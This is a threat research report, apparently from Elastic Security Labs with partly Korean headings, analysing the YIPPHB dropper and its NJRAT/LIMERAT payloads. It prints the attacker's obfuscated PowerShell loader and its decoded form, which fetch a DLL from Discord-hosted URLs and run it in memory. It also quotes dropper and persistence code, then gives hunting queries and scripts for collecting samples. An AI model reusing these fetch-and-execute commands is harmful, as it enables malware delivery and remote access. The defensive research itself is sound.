Doing time with the YIPPHB dropper

핵심 사항

• Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.
• YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.
• The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.

서문

While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.

Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.

This research focused on the following:

• Loader phase
• Dropper phase
• RAT phase
• Activity clusters
• Network infrastructure
• 헌팅 쿼리

분석

The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.

Loader phase

While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.

Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a U. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: CyberChef.

By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.

Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

The loader is downloaded from https://tinyurl[.]com/2erph6cs. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.

To unfurl the TinyURL, we can use the JSON API endpoint from Unshorten.me:

$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}

Downloading dllsica.txt from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from dllsica.txt can easily be decoded without substitutions.

Using the cat , base64 , xxd , and head command line tools, we can see that this has a hexadecimal value of 4d5a and an MZ magic number in the file header. This confirms we’re analyzing a PE file.

• cat - catenates a file
• base64 -D - the -D switch decodes a base64 encoded file
• xxd - creates a hexadecimal dump of an input
• head - returns the first 10 lines of a file

$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...

Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.

• file - verify the file type
• shasum -a 256 - the -a 256 switch uses the 256-bit hashing algorithm

$ cat dllsica.txt | base64 -D > dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2

Now that the loader has been collected, it executes the method PUlGKA inside of the class NwgoxM.KPJaN. From the original Base64 decoded string

…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:

We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.

FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");

Dropper phase

From the loader's execution image above, we can see that the loader uses a reversed variable (text = bdw6ufv4/moc[.]lruynit//:sptth) to download an additional file using a TinyURL. Using the command line tool, rev , we can correct the reversed URL.

$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd

We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.

$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}

Another encoded file is downloaded from Discord: pesica.txt. As of this writing, VirusTotal reports zero detections of this file.

With clues from dllsica.bin , we can see that pesica.txt uses UTF-8 encoding. To further analyze our file, we need to replace the ▒▒▒▒ values with an A , and Base64 decode the resulting strings.

…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + "\\InstallUtil.exe",
	Convert.FromBase64String(text3)
	});
…truncated…

We can stack recipes to perform these functions with CyberChef.

Once we’ve decoded pesica.txt , we calculate the hash bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf. The decoded output of pesica.txt shows the YippHB module name.

...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...

This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher Paul Melson. Paul publicly disclosed this dropper in October of 2022 at the Augusta BSides security conference.

The YIPPHB dropper is executed using the Installutil.exe command-line utility to start the RAT phase.

We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.

RAT phase

Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.

…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

The RAT was retrieved from https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt, which is reversed from txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth.

Looking at the file 10oct8000.txt file, we can see that it is a reversed, Base64-encoded file.

=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…

We can correct this file and Base64 decode it using the command-line tools rev and base64 and save the output as 10oct8000.bin.

$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin

10oct8000.bin has a SHA256 hash of 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3. This file is reported on VirusTotal as a variant of the LIMERAT or NJRAT malware families (depending on the source).

Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT (1, 2).

The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.

For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( TllBTiBDQVQ= ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with a known NJRAT code base, this C2 configuration information adds to our conviction that this is related to NJRAT.

If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:

• victimName ( vn )
• Hardware ID
• 사용자 이름
• OSFullName
• OSVersion Servicepack
• if the Program Files folder ends in X86 or not
• if a webcam is present
• the window name
• a permission check on the registry

If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, here and here

Activity clusters

We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

This query allowed us to identify Powershell activity that uses both Unicode characters and the replace function.

Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable iUqm and the ⌚⌚⌚Unicode icons.

Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( _*/}+/_= ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.

Collecting and parsing network data

To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the process.command_line fields and the follow-on C2 used by the RAT implants.

Loader and Dropper

As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.

To avoid execution of the Powershell command itself, we can leverage the text processing tool awk. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.

To get started, we’ll need to get access to our data on the command line where we can pipe it to awk. We’ve published a tool called eql-query (and another called lucene-query ) to do just that.

Using eql-query , we can run an EQL query to retrieve the last 180-days of results, retrieving only the process.command_line field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.

eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'

Next, use jq to pass the raw string to awk using jq '._source.process.command_line' -r | awk.

If you’re doing this iteratively, it’s best to write the results from eql-query to a file, and then operate on the results locally until you have your pipeline how you’d like it.

The next step is to capture the strings used in the Powershell replace commands so we can perform that function ourselves. The best way to do this using awk is by capturing them with a regular expression.

This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an awk pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.

function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}

Finally we can grep out the Base64 code (using another regex) and reveal the obfuscated Powershell script.

grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'

This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

Parsing the URLs from this text should be another simple awk match, followed by flipping the second URL, however, Powershell’s default encoding is UTF-16LE and awk only supports UTF-8 or ASCII encoding. A tool called iconv can perform the necessary conversion.

echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'

Once converted, the rest is straightforward parsing. Our output will contain url1 , url2 , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.

For further details or to try it against your own data, see the shell script that combines it all.

Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.

RAT

As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each url1 and url2 output in the previous step, loop through each list, and use curl to download them.

This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.

As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:

ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
    ctr=$((ctr + 1))
done

We use -v to capture the request and response headers, -L to follow redirects, and --connect-timeout to speed up the process when the infrastructure is down. Finally, save the curl output to a log file while any files downloaded are saved as file-X , where X is the value of the counter.

Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the file command. A Base64-encoded file will be identified as “ASCII text, with very long lines (length), with no line terminators” where length is the file size. For files that match this language, we’ll decode them and save them with a .dll extension.

for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  <"${entry}" | base64 -d >"${entry}.dll"
done

Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the VirusTotal command line tool and can make API queries, searching for known files is another simple loop over all the saved dll files.

for entry in *.dll; do
	hash=$(sha256sum "${entry}" | awk '{print $1}')
	vt search "${hash}" >"${entry}.vt.yml"
done

Looking at the output, we can see that any yml file (the vt command output) with 0 bytes means no match. These files are unknown to VirusTotal. In this output, we can see that file-30.dll , file-31.dll , and file-34.dll are unknown to VirusTotal.

$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml

The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the strings command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the strings command won’t work to extract strings from .Net assemblies. The file command can again help us identify these as in this example:

$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, ikdasm. This gives us our final loop to search for domain names or references to HTTP URLs.

for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done

For more details you can refer to this shell script that puts this second stage of analysis together.

다이아몬드 모델

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

관찰된 적의 전술 및 기법

Elastic은 MITRE ATT&CK 프레임워크를 사용하여 지능형 지속적 위협이 기업 네트워크에 대해 사용하는 일반적인 전술, 기술 및 절차를 문서화합니다.

전술

전술은 기술 또는 하위 기술의 이유를 나타냅니다. 이는 적의 전술적 목표, 즉 행동을 수행하는 이유입니다.

• 리소스 개발
• 실행
• 지속성 유지
• 방어 회피
• 탐색
• 명령 및 제어

기술/하위 기술

기술 및 하위 기술은 적군이 행동을 수행하여 전술적 목표를 달성하는 방법을 나타냅니다.

• Acquire Infrastructure
• Stage Capabilities: Upload Malware
• Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
• Command and Scripting Interpreter: Visual Basic
• 명령 및 스크립팅 인터프리터: PowerShell
• System Binary Proxy Execution: InstallUtil
• Obfuscated Files or Information

탐지 로직

Behavior rules

• Connection to WebService by a Signed Binary Proxy
• Suspicious PowerShell Execution
• Process Execution with Unusual File Extension
• Script File Written to Startup Folder
• Suspicious PowerShell Execution via Windows Scripts
• Connection to Dynamic DNS Provider by an Unsigned Binary

헌팅 쿼리

Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.

KQL query

Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.

The proceeding and preceding wildcards ( * ) can be an expensive search over a large number of events.

process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)

EQL query

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the replace function. This identified all observed REF4526 events.

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

참고 자료

위의 조사에서 참조한 내용은 다음과 같습니다:

• https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
• https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
• https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
• https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
• https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
• https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/

Observables

모든 관측값은 결합된 압축 파일 번들로 ECS 및 STIX 형식으로도 다운로드할 수 있습니다.

이 연구에서는 다음과 같은 관찰 가능성에 대해 논의했습니다.